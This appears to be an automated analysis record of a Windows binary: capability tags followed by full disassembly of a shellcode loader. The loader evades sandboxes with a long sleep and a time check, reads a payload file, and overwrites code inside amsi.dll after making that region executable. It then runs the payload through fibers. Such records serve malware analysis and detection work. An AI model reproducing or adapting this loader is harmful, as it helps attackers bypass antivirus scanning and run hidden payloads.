Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers
Read file on windows

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x493e0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rsp + 0x5e]
movd xmm3, eax
movzx eax, word [rsp + 0x5c]
cvtdq2pd xmm3, xmm3
movd xmm0, eax
movzx eax, word [rsp + 0x6e]
divsd xmm3, qword [0x140003390]
cvtdq2pd xmm0, xmm0
movd xmm1, eax
movzx eax, word [rsp + 0x6c]
addsd xmm3, xmm0
cvtdq2pd xmm1, xmm1
movd xmm0, eax
divsd xmm1, qword [0x140003390]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, qword [0x140003388]
subsd xmm3, xmm1
comisd xmm0, xmm3
jbe 0x140001128
lea rcx, str.Time._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001350
add rsp, 0x88
ret
lea r8, [0x1400032c8]
lea rdx, str.code
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
je 0x14000116b
lea rcx, str.Failed_to_open_file._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001350
add rsp, 0x88
ret
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x80], rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
xor edx, edx
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
mov rsi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, qword [rsp + 0x30]
mov r8, rbx
mov rcx, rax
mov edx, 1
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
movsd xmm1, qword [0x140003398]
xor edx, edx
movd xmm0, ebx
mov rbx, qword [rsp + 0x90]
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [str.333333]
comisd xmm0, xmm1
jb 0x140001221
subsd xmm0, xmm1
comisd xmm0, xmm1
jae 0x140001221
movabs rcx, 0x8000000000000000
mov rdx, rcx
cvttsd2si rcx, xmm0
add rcx, rdx
mov qword [rsp + 0x48], rcx
lea rcx, str.C:Windows_system32_amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001256
lea rcx, str.Failed_to_load_Amsi.dll._n
call fcn.140001010
mov eax, 2
jmp 0x140001319
add rax, 0x200f
lea r8, [rsp + 0x48]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x38]
lea rax, [rsp + 0x40]
mov r9d, 0x40
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
je 0x14000129f
lea rcx, str.Failed_to_change_memory_protection._n
call fcn.140001010
mov eax, 3
jmp 0x140001319
mov rcx, qword [rsp + 0x38]
mov r8, rsi
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x40]
mov r9d, 0x40
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
je 0x1400012ed
lea rcx, str.Failed_to_restore_memory_protection._n
call fcn.140001010
mov eax, 4
jmp 0x140001319
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rdx, qword [rsp + 0x38]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rsi, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001350
add rsp, 0x88
ret